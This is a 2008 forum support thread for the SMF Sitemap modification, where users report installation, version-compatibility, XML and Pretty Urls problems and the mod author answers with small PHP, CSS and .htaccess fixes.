Post by: SlammedDime on June 07, 2008, 02:07:39 PM
Quote from: taurean on June 07, 2008, 05:02:04 AM
for a default them under version 1.1.5 this mod is not working. i installed it but cant see any thing in admin panel. pls help
Are you using English or English-UTF8 as your language? 
Title: Re: SMF Sitemap
Post by: dheeraj on June 10, 2008, 05:25:26 AM
Hey does this support 1.1.5 latest version..i tried to install it on my forum but both with package manager and manually..but seems that ManageSettings.php is not available...so please tell me what to d....o.
Title: Re: SMF Sitemap
Post by: SlammedDime on June 10, 2008, 05:33:16 AM
From the first post of the topic:
Quote1.2.2/1.3.0: Added support for Pretty Urls mod, changed username on topic display to Display name, rather than username.  1.2.2 is the last update for the 1.1.x series of SMF.  All future development will continue on 1.3.0 in support of SMF 2.0.

In other words, you're using the wrong package for your version of SMF.
Title: Re: SMF Sitemap
Post by: taurean on June 10, 2008, 06:42:57 AM
Quote from: SlammedDime on June 07, 2008, 02:07:39 PM
Quote from: taurean on June 07, 2008, 05:02:04 AM
for a default them under version 1.1.5 this mod is not working. i installed it but cant see any thing in admin panel. pls help
Are you using English or English-UTF8 as your language? 
English
Title: Re: SMF Sitemap
Post by: dheeraj on June 10, 2008, 07:30:36 AM
Hi, my site has about 30000 topics...but xml sitemaps is only generating sitemaps about 500 urls only...how can i get a full xml sitemap so that i can submit to Google!

waiting for reply//
Title: Re: SMF Sitemap
Post by: SlammedDime on June 10, 2008, 02:51:05 PM
taurean - Use the Manual instructions for the mod (found in the same place you downloaded the mod from) and ensure that all of the changes were properly made to the files.  Did you check under Features and Options in your admin panel?

dheeraj - What is your setting for the number of topics to show?  Default is 20000, have you changed it?  Link to your site?
Title: Re: SMF Sitemap
Post by: partners on June 11, 2008, 09:12:58 PM
Hi,

We are using your sitemap mod but we are getting an error:

XML Parsing Error: no element found
Location: http://www.freeadzforum.com/sitemap/?xml
Line Number 1, Column 1:

Any idea what may be causing this?

We have pretty urls and if we disable this
it works fine.

Thank you in advance.
Title: Re: SMF Sitemap
Post by: SlammedDime on June 12, 2008, 03:34:39 AM
Try what this user did:
Quote from: X-Crew on June 07, 2008, 07:07:22 AM
Max number of topics to display in sitemap from 20000 to 2000 and now its woking! :)

If it does, increment it gradually until it stops working again, then back off a bit.
Title: Re: SMF Sitemap
Post by: dheeraj on June 12, 2008, 08:10:35 AM
where i have to change this??
Title: Re: SMF Sitemap
Post by: SlammedDime on June 12, 2008, 12:06:51 PM
In the admin panel, should be under Features and Options.
Title: Re: SMF Sitemap
Post by: partners on June 12, 2008, 02:14:18 PM
OK, thanks. Will try and report results!
Title: Re: SMF Sitemap
Post by: Re@PeR on June 15, 2008, 07:20:10 AM
The sitemap generator seems to generating a lot of errors in my log files (it's working fine otherwise).
These are the frequent ones, I get a about 135 errors every time google access the XML Sitmap.

http://forums.wayoftherede.com/index.php?action=sitemap;xml
8: Use of undefined constant sitemap_topic_count - assumed 'sitemap_topic_count'
File: /forums/Sources/Sitemap.php
Line: 185

http://forums.wayoftherede.com/index.php?action=sitemap;xml
8: Use of undefined constant sitemap_topic_count - assumed 'sitemap_topic_count'
File: /forums/Sources/Sitemap.php
Line: 42

http://forums.wayoftherede.com/index.php?action=sitemap;xml
8: Undefined offset: 118
File: /forums/Sources/Sitemap.php
Line: 30

[I'm running SMF 2.0 Beta 3.1]
Title: Re: SMF Sitemap
Post by: SlammedDime on June 15, 2008, 12:01:35 PM
Code (Find) Select
'max_topics' => $modSettings[sitemap_topic_count],

Code (Replace) Select
'max_topics' => $modSettings['sitemap_topic_count'],

On line 185 and line 42

For line 30, simply remove it.  I have no clue why I even had that line there.
Code (Remove) Select
'extra_before' => $settings['linktree_inline'] ? $txt[118] . ': ' : ''
Title: Re: SMF Sitemap
Post by: olufemo on June 16, 2008, 12:58:07 PM
I successfully install the MOD but when I compare output with http://www.airridetalk.com/forum/sitemap (http://www.airridetalk.com/forum/sitemap), it is difficult for me to say whether everything is Ok or not.

Sitemap url is http://hopenigeria.com/index.php?action=sitemap (http://hopenigeria.com/index.php?action=sitemap) and for post http://hopenigeria.com/index.php/topic,174.0.html (http://hopenigeria.com/index.php/topic,174.0.html) unlike yours- http://www.airridetalk.com/forum/general-air-ride-chat/lift-kit-mini-cooper-213.0.html (http://www.airridetalk.com/forum/general-air-ride-chat/lift-kit-mini-cooper-213.0.html)

Do you everything is OK or what do I need do?
Title: Re: SMF Sitemap
Post by: SlammedDime on June 16, 2008, 03:11:48 PM
This only produces a sitemap.  The SEF urls is a completely different ball of wax.   i use Mambo with OpenSEF and a custom module to produce the urls for SMF.  If you want something similar, I'd suggest looking at the Pretty Urls mod.
Title: Re: SMF Sitemap
Post by: olufemo on June 17, 2008, 02:31:35 AM
Quote from: SlammedDime on June 16, 2008, 03:11:48 PM
This only produces a sitemap.  The SEF urls is a completely different ball of wax.   i use Mambo with OpenSEF and a custom module to produce the urls for SMF.  If you want something similar, I'd suggest looking at the Pretty Urls mod.

Thanks for your response, it means the sitemap is OK. I guess search engine will like Pretty Urls more.

Title: Re: SMF Sitemap
Post by: kai920 on June 19, 2008, 01:57:12 PM
Quote from: SlammedDime on June 16, 2008, 03:11:48 PM
This only produces a sitemap.  The SEF urls is a completely different ball of wax.   i use Mambo with OpenSEF and a custom module to produce the urls for SMF.  If you want something similar, I'd suggest looking at the Pretty Urls mod.

I was wondering if I can integrate your SMF sitemap with a Joomla/Mambo one? I'd like to have just one sitemap across the site... is this possible, and if so - is it a good idea?
Title: Re: SMF Sitemap
Post by: SlammedDime on June 19, 2008, 03:23:11 PM
It would be possible, but it would take some modification to the Sitemap.php source file, and some custom coding on the Mambo/Joomla side to get the information from the Sitemap.php source file to properly display it.

Its not really something that I can take on at this moment though.  You're more than welcome to try.  The limitation of PHP is the coder ;)
Title: Re: SMF Sitemap
Post by: mikecentola on June 20, 2008, 12:23:13 AM
When I go to upload this mod, it is saying the file is corrupted. I can unzip the file just fine on my mac. Don't know why its saying it is corrupted. Any thoughts?
Title: Re: SMF Sitemap
Post by: fecu2008 on June 20, 2008, 12:52:16 AM
Wondering if anyone can help me.  The mod is working great, but when I try looking at it as a guest it doesnt show any boards or anything.  No topics either. 

I looked in my error log and im getting these two errors logged as guest.

8: Undefined variable: switch
/Themes/default/Sitemap.template.php (eval?)
Line: 86

2: Invalid argument supplied for foreach()
/Themes/default/Sitemap.template.php (eval?)
Line: 61

Any help would be great in fixing this.  Thank you. 



Title: Re: SMF Sitemap
Post by: SlammedDime on June 20, 2008, 02:00:50 AM
First off, can guests view your board?  Or is guest access disabled?

Also, what version are you running?
Title: Re: SMF Sitemap
Post by: fecu2008 on June 20, 2008, 02:38:46 AM
im running 1..1.5.  Yes guest are able to view the boards. 

I did install frusturate your guests mod, but I dont think this should affect it. 
Title: Re: SMF Sitemap
Post by: SlammedDime on June 20, 2008, 02:43:56 AM
I'll need a link to your site please.  It very well may be a conflict with that mod.  Try uninstalling it for the moment and see if it works.
Title: Re: SMF Sitemap
Post by: fecu2008 on June 20, 2008, 02:49:31 AM
ok will do
Title: Re: SMF Sitemap
Post by: fecu2008 on June 20, 2008, 02:54:35 AM
Nope same thing. 

The mod allows guest to see boards and topics, guest just cant read them.
In the sitemap as a guest, its unavailable.

The sitemap logged on is available.

When viewing it as a guest, those errors pop up that I posted. 

I can post pics if you would like them.
Title: Re: SMF Sitemap
Post by: SlammedDime on June 20, 2008, 03:01:06 AM
A screen shot or pictures really won't help.  I know what the other mod does, conceptually, but I thought it may have changed an array in Load.php.

What other mods do you have installed?

Can you provide a link to your site?
Title: Re: SMF Sitemap
Post by: fecu2008 on June 20, 2008, 03:05:26 AM
I have about 25 mods installed since I started the forum. 

I have version 1.2.2 installed of the sitemap.  I went to upload 1.3 and it did successfully, but I couldnt install it.  It shows up in the downloaded packages though.  I dont know if that has something to do with it.  I just did that tonight, but the error has been there since before.

Yes, I can provide a link to you in your pm if you like. 
Title: Re: SMF Sitemap
Post by: SwapsRulez on June 20, 2008, 04:02:15 AM
Hi there, I'm running SMF 2.0 Beta 3.1 here

http://www.project-bb.org/

I've installed the sitemap & its working fine. But donno why google isnt caching that much pages of my site as it was caching previously.

Then i looked at the sitemap, & i found that though my sitemap is working OK, my sitemap is XML format is not working.

see here

http://www.project-bb.org/index.php?action=sitemap;xml

its giving me error that Zero Sized Reply

I dont know why this error happened :( Waiting for reply.
Title: Re: SMF Sitemap
Post by: SlammedDime on June 20, 2008, 04:57:30 AM
Try decreasing the number of topics to show on the XML link.  Not sure why, but some servers are having issues with the default setting of 20000.  Change it to 2000 and see what happens.
Title: Re: SMF Sitemap
Post by: SlammedDime on June 20, 2008, 04:58:30 AM
fecu - Please PM me a link to your site and a list of all of the mods you have installed.

1.3 WILL NOT work on 1.1.5.  As the first post of the topic and the mod download page says, its for Beta 3.1 ONLY.
Title: Re: SMF Sitemap
Post by: mikecentola on June 20, 2008, 08:31:33 AM
Quote from: mikecentola on June 20, 2008, 12:23:13 AM
When I go to upload this mod, it is saying the file is corrupted. I can unzip the file just fine on my mac. Don't know why its saying it is corrupted. Any thoughts?

Do I need to do the install manually?
Title: Re: SMF Sitemap
Post by: kai920 on June 20, 2008, 08:40:57 AM
Quote from: mikecentola on June 20, 2008, 08:31:33 AM
Quote from: mikecentola on June 20, 2008, 12:23:13 AM
When I go to upload this mod, it is saying the file is corrupted. I can unzip the file just fine on my mac. Don't know why its saying it is corrupted. Any thoughts?

Do I need to do the install manually?

which version of smf do you have?
did you try downloading the package again?
Title: Re: SMF Sitemap
Post by: SwapsRulez on June 20, 2008, 11:16:29 AM
Quote from: SlammedDime on June 20, 2008, 04:57:30 AM
Try decreasing the number of topics to show on the XML link.  Not sure why, but some servers are having issues with the default setting of 20000.  Change it to 2000 and see what happens.

Thanks solved :)
Title: Re: SMF Sitemap
Post by: mikecentola on June 21, 2008, 08:16:34 AM
Quote from: kai920 on June 20, 2008, 08:40:57 AM
Quote from: mikecentola on June 20, 2008, 08:31:33 AM
Quote from: mikecentola on June 20, 2008, 12:23:13 AM
When I go to upload this mod, it is saying the file is corrupted. I can unzip the file just fine on my mac. Don't know why its saying it is corrupted. Any thoughts?

Do I need to do the install manually?

which version of smf do you have?
did you try downloading the package again?

I have version 1.1.5 of smf, and I was downloading 1.2.2 of the mod. I will try downloading again and trying it. This is the only mod I had any issues with :(
Title: Re: SMF Sitemap
Post by: bjraines on June 23, 2008, 04:23:24 PM
I am unable to get 1.3 to work with 1.1.5

I get this error

The package you are trying to download or install is either corrupt or not compatible with this version of SMF.

I even tried on a clean install and same error.

Thanks, look forward to the fix
Title: Re: SMF Sitemap
Post by: SlammedDime on June 23, 2008, 04:25:57 PM
Please read a couple of posts above, specifically where I said that 1.3 WILL NOT work on 1.1.5, that it is for 2.0 ONLY.  This is also specified in the first post of this topic.
Title: Re: SMF Sitemap
Post by: bjraines on June 23, 2008, 04:40:37 PM
My apologies.

so pretty URLS are not supported in 1.2 , correct?

Thanks for the reply
Title: Re: SMF Sitemap
Post by: SlammedDime on June 23, 2008, 04:42:45 PM
They should be.  I'm pretty sure I included that functionality.
Title: Re: SMF Sitemap
Post by: haderaschta on June 23, 2008, 05:12:50 PM
pretty urls and sitemap are working flawless together :)
Title: Re: SMF Sitemap
Post by: mikecentola on June 23, 2008, 11:53:06 PM
I've got it working now. It seems as though it was zipped twice or something. I decompressed it, and then tar'd and gzipped the files, and it worked fine.
Title: Re: SMF Sitemap
Post by: bjraines on June 24, 2008, 02:09:42 PM
Quote from: haderaschta on June 23, 2008, 05:12:50 PM
pretty urls and sitemap are working flawless together :)

There must be something wrong for me then because

Pretty URLs and site maps works perfectly for me here

http://bostondiamondexchange.com/forums/sitemap/?start=0

any insight would be great.



but not in my XML

http://bostondiamondexchange.com/forums/sitemap/?xml

it work on another site perfectly but i used an older version with a cod modification I found on the forum
Title: Re: SMF Sitemap
Post by: SlammedDime on June 24, 2008, 02:16:52 PM
looks like the queryless_urls settings might still be turned on (as Dannii said in his mod, that must be turned off prior to installing his mod).  You should ask him about how to turn it off once his mod is installed.
Title: Re: SMF Sitemap
Post by: bjraines on June 24, 2008, 02:19:36 PM
thanks, yeah i checked the setting but I do not see where to change that now, who is Dannii
Title: Re: SMF Sitemap
Post by: SlammedDime on June 24, 2008, 03:06:22 PM
The person that made Pretty Urls.  You should ask in his support topic for it.
Title: Re: SMF Sitemap
Post by: bjraines on June 24, 2008, 03:38:33 PM
OK I figured it out, I just went into the database and changed it

my xml now reads

http://bostondiamondexchange.com/forums/index.php?action=sitemap;xml

so again the html version is working

http://bostondiamondexchange.com/forums/sitemap/?start=0
Title: Re: SMF Sitemap
Post by: SlammedDime on June 24, 2008, 03:58:22 PM
What version of Pretty Urls do you have installed?
Title: Re: SMF Sitemap
Post by: 58tbird on June 24, 2008, 07:10:58 PM
Hi SlammedDime!

I'm eager to try your mod to enable Google to crawl my site.  I just attempted to install 1.3.0 and got this message:

QuoteThe package you are trying to download or install is either corrupt or not compatible with this version of SMF.

I'm using SMF 1.1.5.  I've successfully installed several mod packages, but I'm still pretty new at this so I may being doing something wrong.  Can this error be caused by conflicts with other mods?

Thank you!
Title: Re: SMF Sitemap
Post by: SlammedDime on June 25, 2008, 03:18:22 AM
Please either read the first post of this topic or the last few posts on this page.  They should explain your problem.
Title: Re: SMF Sitemap
Post by: fecu2008 on June 25, 2008, 06:39:34 AM
slammed dime i sent you my mods I have, and I was going through the files again.  It looks like it installed correctly, but the sitemap still doesnt show up. 

My question is and this is all I can think that could be detering it.  In Modification.english, it says to

Find:
?>

Add Before:
// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Boards';
$txt['sitemap_xml'] = 'Show Sitemap XML link';
$txt['sitemap_topic_count'] = 'Max number of topics to display in sitemap';
$txt['sitemap_collapsible'] = 'Collapse child boards in sitemap';

Mine looks like this with the ultimate profile mod:

// SMF Sitemap Strings
$txt['sitemap'] = 'Sitemap';
$txt['sitemap_boards'] = 'Boards';
$txt['sitemap_xml'] = 'Show Sitemap XML link';
$txt['sitemap_topic_count'] = 'Max number of topics to display in sitemap';
$txt['sitemap_collapsible'] = 'Collapse child boards in sitemap';


$txt['ultimate_profile'] = 'Ultimate Profile';
$txt['permissionname_edit_ultimate_profile'] = 'Edit ultimate profile';
$txt['permissionname_edit_ultimate_profile_own'] = 'Own profile';
$txt['permissionname_edit_ultimate_profile_any'] = 'Any profile';
$txt['permissionhelp_edit_ultimate_profile'] = 'This permission allows user to edit ultimate profile.';
$txt['cannot_edit_ultimate_profile_own'] = 'You aren\'t allowed to edit your own ultimate profile.';
$txt['cannot_edit_ultimate_profile_any'] = 'You aren\'t allowed to edit just any ultimate profile.';

?>

Could this be the problem?

Also, do you think maybe the text in the frusturate your guest mod is preventing guest on seeing the sitemap?

Thanks for your time. 

Title: Re: SMF Sitemap
Post by: mikecentola on June 25, 2008, 08:27:28 AM
Quick question...

Some threads have quotes in the title, and they end up with slashes in them which cause them not able to be found. Instead of using addslashes, should you use htmlspecialchars ?
Title: Re: SMF Sitemap
Post by: 58tbird on June 25, 2008, 01:13:30 PM
Quote from: SlammedDime on June 23, 2008, 04:25:57 PM
Please read a couple of posts above, specifically where I said that 1.3 WILL NOT work on 1.1.5, that it is for 2.0 ONLY.  This is also specified in the first post of this topic.

Quote from: SlammedDime on June 20, 2008, 04:58:30 AM
fecu - Please PM me a link to your site and a list of all of the mods you have installed.

1.3 WILL NOT work on 1.1.5.  As the first post of the topic and the mod download page says, its for Beta 3.1 ONLY.

Sorry SlammedDime - it must be frustrating getting the same question repeatedly.  If I'm reading it correctly, it appears the download page indicates it is compatible with SMF 1.1.5:

QuoteLatest Version:
    1.3.0
Compatible With:
    1.1.2, 1.1.3, 1.1.4, 1.1.5, 2.0 Beta 3.1 Public

Will version 1.2.2 work with SMF 1.1.5?  Thank you SlammedDime  :)
Title: Re: SMF Sitemap
Post by: SlammedDime on June 25, 2008, 02:13:23 PM
Yes, 1.2.2 is for 1.1.5. :)
Title: Re: SMF Sitemap
Post by: SwapsRulez on June 26, 2008, 03:28:16 AM
Quote from: SlammedDime on June 15, 2008, 12:01:35 PM
Code (Find) Select
'max_topics' => $modSettings[sitemap_topic_count],

Code (Replace) Select
'max_topics' => $modSettings['sitemap_topic_count'],

On line 185 and line 42

For line 30, simply remove it.  I have no clue why I even had that line there.
Code (Remove) Select
'extra_before' => $settings['linktree_inline'] ? $txt[118] . ': ' : ''


Sorry, but where should  i look for this. In which file ?
Title: Re: SMF Sitemap
Post by: mikecentola on June 26, 2008, 08:19:32 AM
Quote from: mikecentola on June 25, 2008, 08:27:28 AM
Quick question...

Some threads have quotes in the title, and they end up with slashes in them which cause them not able to be found. Instead of using addslashes, should you use htmlspecialchars ?

lol why do my questions always get ignored?  >:(

I suppose there is two ways to fix this. One would be in the prettyurls setup and would be in the sitemap set up. Can you direct me to wear I might be able to add the htmlspecialchars?

Thanks :)
Title: Re: SMF Sitemap
Post by: fecu2008 on June 26, 2008, 10:00:48 AM
Found an errors in the sitemap from error log.

Maybe this will help:

8: Undefined variable: switch
/Themes/default/Sitemap.template.php (eval?)
Line: 86

Line 86 is empty

and also this:

2: Invalid argument supplied for foreach()
/Themes/default/Sitemap.template.php (eval?)
Line: 61

Line 61 is this:

   if (menus_status_array[theid] != \'show\') {

Does this help any?

Title: Re: SMF Sitemap
Post by: SlammedDime on June 26, 2008, 02:03:41 PM
Quote from: SwapsRulez on June 26, 2008, 03:28:16 AM
Quote from: SlammedDime on June 15, 2008, 12:01:35 PM
Code (Find) Select
'max_topics' => $modSettings[sitemap_topic_count],

Code (Replace) Select
'max_topics' => $modSettings['sitemap_topic_count'],

On line 185 and line 42

For line 30, simply remove it.  I have no clue why I even had that line there.
Code (Remove) Select
'extra_before' => $settings['linktree_inline'] ? $txt[118] . ': ' : ''


Sorry, but where should  i look for this. In which file ?
In Sitemap.php

Quote from: mikecentola on June 26, 2008, 08:19:32 AM
Quote from: mikecentola on June 25, 2008, 08:27:28 AM
Quick question...

Some threads have quotes in the title, and they end up with slashes in them which cause them not able to be found. Instead of using addslashes, should you use htmlspecialchars ?

lol why do my questions always get ignored?  >:(

I suppose there is two ways to fix this. One would be in the prettyurls setup and would be in the sitemap set up. Can you direct me to wear I might be able to add the htmlspecialchars?

Thanks :)
Sorry bud, I didn't see your post above the guys below yours.  Thats something you should ask Dannii about.  I'm not sure where his mod changes the links at specifically enough to tell you where to look.

Quote from: fecu2008 on June 26, 2008, 10:00:48 AM
Found an errors in the sitemap from error log.

Maybe this will help:

8: Undefined variable: switch
/Themes/default/Sitemap.template.php (eval?)
Line: 86

Line 86 is empty

and also this:

2: Invalid argument supplied for foreach()
/Themes/default/Sitemap.template.php (eval?)
Line: 61

Line 61 is this:

   if (menus_status_array[theid] != \'show\') {

Does this help any?


Can you open up the tar.gz file and reupload Sitemap.php to your sources directory and Sitemap.template.php to your default template directory?  Don't open the files first, just extract them to your desktop or wherever, then upload them.
Title: Re: SMF Sitemap
Post by: fecu2008 on June 26, 2008, 02:42:09 PM
I just ddi what you said. Still a no go. 

I extracted the files and uploaded them without opening them. 
Title: Re: SMF Sitemap
Post by: SlammedDime on June 26, 2008, 03:48:44 PM
Can you please send me a link to your site?
Title: Re: SMF Sitemap
Post by: fecu2008 on June 26, 2008, 04:14:52 PM
sure ill send it via pm
Title: Re: SMF Sitemap
Post by: 58tbird on June 26, 2008, 05:04:17 PM
Quote from: SlammedDime on June 25, 2008, 02:13:23 PM
Yes, 1.2.2 is for 1.1.5. :)
Thank you SlammedDime :)
Title: Re: SMF Sitemap
Post by: 58tbird on June 27, 2008, 11:33:01 PM
Okay, I successfully downloaded and installed 1.2.2 and it works great!

I do have a question though:

When I attempt to add my new sitemap's url to Google Webmaster Tools, I get the following error:
Quote3. My Sitemap URL is:
http://mywebsite.com/ http://www.mywebsite.com/index.php?action=sitemap;xml
   Example: sitemap.xml
   Example: directory/other_sitemap.xml
General HTTP error: 404 not found
We encountered an error while trying to access your Sitemap. Please ensure your Sitemap follows our guidelines and can be accessed at the location you provided and then resubmit.

I contacted my host and they verified my SMF forum is on the root directory.  Do you have any suggestions for me?
Title: Re: SMF Sitemap
Post by: SlammedDime on June 28, 2008, 01:29:53 AM
yea, only add index.php?action=sitemap;xml to the box on google's page.
Title: Re: SMF Sitemap
Post by: 58tbird on June 28, 2008, 08:57:20 AM
Duh!  Okay, I feel stupid now :-[

Thank you very much SlammedDime!
Title: Re: SMF Sitemap
Post by: bjraines on July 03, 2008, 06:37:01 PM
Quote from: SlammedDime on June 24, 2008, 03:58:22 PM
What version of Pretty Urls do you have installed?

I have the latest version 0.8.4 and it is not working for me

http://bostondiamondexchange.com/forums/sitemap/?xml
Title: Re: SMF Sitemap
Post by: axlarry on July 06, 2008, 05:20:31 AM
Nice mod, thanks a lot! Just installed it and it works great!
I have a comment though, as I'm also using Pretty Urls I noticed that you must manually add sitemap into "action array" if you want it to include the link into .htaccess (domain.com/sitemap). And also, I have manually edited the sitemap.template.php to change the xml link into domain/sitemap.xml.

Thanks again for this mod!
Title: Re: SMF Sitemap
Post by: jordanid on July 07, 2008, 11:00:15 AM
thank you for this great mod
i was wondering .. since i dont know how to install the mod manually
seems for me a hard thing to do , coz whenever i want to try it
i found something ain't in their places
like it says , replace this code at this code , and i couldnt find the 1st one ..
so , my question is .. i installed this mod
and i have a custom theme .. can i take the link from the default theme and put it to the google webmaster .. while i'm using the custom theme ..
thanks in advance
Title: Re: SMF Sitemap
Post by: SlammedDime on July 07, 2008, 02:16:47 PM
All you have to do is visit yousite.com/index.php?action=sitemap to view the sitemap.  You can add a link to this anywhere in your custom theme as well.  Scroll to the bottom and you will see the xml link (which is just the above with ;xml appended to it.  That is what you would submit to google.
Title: Re: SMF Sitemap
Post by: jordanid on July 07, 2008, 02:28:55 PM
ya , i did
but they gave me Error For the site map .. they said invalid extension
they only allow HTML and XML ... so .. how can i fix it ?!!
Title: Re: SMF Sitemap
Post by: SlammedDime on July 07, 2008, 03:34:01 PM
You don't want to submit index.php?action=sitemap to Google, you want to submit index.php?action=sitemap;xml

Title: Re: SMF Sitemap
Post by: quadraxas on July 10, 2008, 04:37:22 AM
sitemap installs and works good but the .htaccess part didnt worked for me? adny ideas?

nvm it takes a while to get working.

Thankyou, really usefull mod.
Title: Re: SMF Sitemap
Post by: Stef001 on July 12, 2008, 05:12:38 PM
I use smf_sitemap_1.3.0.tar.gz.
It works great.
But in my admin section i can`t find where i have tot make the modification.
I use SMF 2.0 Beta 3.1 Public.

In admin=>Features en options=>options There is nothing.

Please help.

I fond it, it is in Modifications.
Title: Re: SMF Sitemap
Post by: SlammedDime on July 13, 2008, 04:24:11 AM
Yea, I moved it in 2.0.  Glad you found it.
Title: Re: SMF Sitemap
Post by: ssufian on July 14, 2008, 06:27:19 AM
Get this error message while applying mod:

The package you are trying to download or install is either corrupt or not compatible with this version of SMF

.
please advise...

installing smf_sitemap_1.3.0.tar.gz. in SMF 1.1.5
Title: Re: SMF Sitemap
Post by: tomason on July 14, 2008, 11:22:46 AM
well ssufian...u got that message cause that version of the mod is not for smf 1.1.5..
u have to use te other version. the smf_sitemap_1.2.2.tar.gz

here´s the link to the mod: http://custom.simplemachines.org/mods/index.php?mod=755

see that there are the two version...select the one I told u...

hope u understand my english :)
Title: Re: SMF Sitemap
Post by: tomason on July 14, 2008, 05:31:56 PM
I´ve one question...I need to know if the sitemap that generates the mod refresh automatically for every new post and changes in the forum??
Title: Re: SMF Sitemap
Post by: Eliana Tamerin on July 14, 2008, 06:00:36 PM
It won't refresh on the same page load like with javascript or AJAX, but every time you load it, it should be complete.
Title: Re: SMF Sitemap
Post by: tomason on July 14, 2008, 07:04:59 PM
ok...thanks...so u say that I don´t have to do nothing so that when google bot or any bot visit my web could see the new posts??

Title: Re: SMF Sitemap
Post by: Eliana Tamerin on July 15, 2008, 12:55:51 AM
Yep, that's how it works.
Title: Re: SMF Sitemap
Post by: tomason on July 15, 2008, 09:55:38 AM
ok...Thanks very much
Title: Re: SMF Sitemap
Post by: tomason on July 16, 2008, 06:57:12 PM
has anyone knows how much time does google takes to index a forum?? cause it´ve been to days since I put my sitemap direction in google and I have not any result yet...

This is the url I give to google:

http://esloquehay.22web.net/index.php?action=sitemap;xml

Is it correct??

I hope u understand my english
Title: Re: SMF Sitemap
Post by: L'AltroWeb on July 16, 2008, 10:46:46 PM
 @tomason
Is best to rewrite with .htaccess:

RewriteEngine on
RewriteBase /

# Rules for: sitemap
RewriteRule ^sitemap.xml$ /index.php?action=sitemap;xml
;)
Now your new url sitemap is: http://esloquehay.22web.net/sitemap.xml
8)
Title: Re: SMF Sitemap
Post by: tomason on July 18, 2008, 05:00:45 PM
thank very much
Title: Re: SMF Sitemap
Post by: tomason on July 20, 2008, 05:55:52 PM
Hi...it´s me again...what u told me, black wolf, works good....google saw the urls of the sitemap in a very short time...however...the urls still not appears in the google search...anyone knows why???
Title: Re: SMF Sitemap
Post by: SlammedDime on July 21, 2008, 04:08:41 AM
Because google may not want to index them.  This mod does not make any guarantee whatsoever that you will get into any search engine.  ALL it does is make a list of topics and boards available to them.
Title: Re: SMF Sitemap
Post by: ellion on July 25, 2008, 12:33:58 PM
hello, when trying to run the install i get an test failed for style.css.
is there a work around for this?
Title: Re: SMF Sitemap
Post by: SlammedDime on July 25, 2008, 02:53:16 PM
Yes, you'll have to manually add the following code to style.css:


/* Style for Sitemap */
.showSwitch { display: block; }
.hideSwitch { display: none; }
Title: Re: SMF Sitemap
Post by: ellion on July 26, 2008, 05:58:18 AM
where does that code need to be put?
Title: Re: SMF Sitemap
Post by: SlammedDime on July 26, 2008, 06:05:53 AM
Anywhere in style.css, doesn't really matter.
Title: Re: SMF Sitemap
Post by: PAPABEAR on July 26, 2008, 03:41:35 PM
Does this give the site that Joomla look?
Title: Re: SMF Sitemap
Post by: SlammedDime on July 26, 2008, 04:33:59 PM
No, it's only a sitemap.  I mambo bridged on my live site with SMF.
Title: Re: SMF Sitemap
Post by: ellion on July 26, 2008, 07:15:18 PM
Quote from: SlammedDime on July 26, 2008, 06:05:53 AM
Anywhere in style.css, doesn't really matter.
once i have added the code to the sitemap will i still get the installation check error. if i do shall i proceed with the insall
Title: Re: SMF Sitemap
Post by: SlammedDime on July 27, 2008, 03:30:42 AM
Yes, you'll still get the error, and yes, proceed anyway.
Title: Re: SMF Sitemap
Post by: ellion on July 27, 2008, 07:04:57 AM
thanks it worked.

now do i just submit mydomain.com/sitemap.xml to google?
Title: Re: SMF Sitemap
Post by: SlammedDime on July 27, 2008, 03:20:26 PM
no, visit your sitemap and click the XML link at the bottom, that's the url you need to submit to google
Title: Re: SMF Sitemap
Post by: ellion on July 27, 2008, 03:59:15 PM
Quote from: SlammedDime on July 27, 2008, 03:20:26 PM
no, visit your sitemap and click the XML link at the bottom, that's the url you need to submit to google
sorry, that was really dumb of me, haha! thanks this is great. i am  sure big G are gonna rank me top of the serp now hahaha! good work
Title: Re: SMF Sitemap
Post by: sunnydsl on July 27, 2008, 05:06:19 PM
hello
there are no files in the package where do i get those files because i have manually done all the changes in my forum
Title: Re: SMF Sitemap
Post by: sunnydsl on July 27, 2008, 05:13:12 PM
plz help me m stucked
Title: Re: SMF Sitemap
Post by: SlammedDime on July 28, 2008, 05:01:52 AM
All of the files seem to be there for me.  You need a program like WinRar to open up the .tar.gz mod file to get the files out of it.
Title: Re: SMF Sitemap
Post by: SlammedDime on July 28, 2008, 06:31:25 PM
<search position="after"><![CDATA[?>]]></search> means that ?> should come after the function that you are inserting.
Title: Re: SMF Sitemap
Post by: miguelito on July 28, 2008, 07:57:53 PM
just downloaded and testing this interesting mod...

collapsible does not work at all

i take alook to the source and fin this:

sources/sitemap.php
line 90
        // If we are a child, and the first at that, let the parent know that at least one of us exists!
       if(!empty($row['childLevel']) && $row['childLevel'] == '1') {


I think must be:

        if(!empty($row['child_level']) && $row['child_level'] == '1') {



hope it helps

smf 2.0 beta3
sitemap 1.3.0 downloaded today.
Title: Re: SMF Sitemap
Post by: Bancherd on July 28, 2008, 11:52:17 PM
After having my own IP blocked by host for using an online sitemap-generator to map my own site  ;D , I installed this mod and everything is peachy!  :D

Thanks for the mod.  8)
Title: Re: SMF Sitemap
Post by: blue_shadow on July 29, 2008, 03:54:42 AM
Hello, I am having trouble with the XML. My page is located at http://dothacker.omghax.ca/index.php?action=sitemap;xml and the error I get is "XML Parsing Error: junk after document element
Location: http://dothacker.omghax.ca/index.php?action=sitemap;xml
Line Number 1761, Column 10:</urlset><script type="text/javascript">
---------^"

The line appears to be "<lastmod>2007-09-06T19:25:24-05:00</lastmod>" so how can I fix this? I would like to have it fixed so google can index it correctly. Thanks.
Title: Re: SMF Sitemap
Post by: SlammedDime on July 29, 2008, 04:25:22 AM
blue_shadow, your problem is that you have google analytics code at the bottom of your page which is added at the incorrect spot, probably at the bottom of index.php.  It needs to be in index.template.php before </body>

LH91325 - Just look at the manual install instructions and add the link to the footer. as prescribed by them.
Title: Re: SMF Sitemap
Post by: blue_shadow on July 29, 2008, 09:25:33 AM
Thank you, it seems to be fixed. I just need to wait and see if google picks it up now. Is it a problem if it complains about not having a style?
Title: Re: SMF Sitemap
Post by: Dr Web on July 29, 2008, 02:31:01 PM
I've installed the MOD on my forum, but, I want to change this URL http://forums.drpennystock.com/index.php?action=sitemap to this http://forums.drpennystock.com/sitemap and also the xml version http://forums.drpennystock.com/index.php?action=sitemap;xml into this http://forums.drpennystock.com/sitemap;xml

Can anyone show me exactly what to do, please?

Thanks
Title: Re: SMF Sitemap
Post by: SlammedDime on July 29, 2008, 03:07:40 PM
You may want to look at the pretty urls mod, Dr Web.
Title: Re: SMF Sitemap
Post by: Dr Web on July 29, 2008, 03:12:47 PM
Thanks for the fast response.

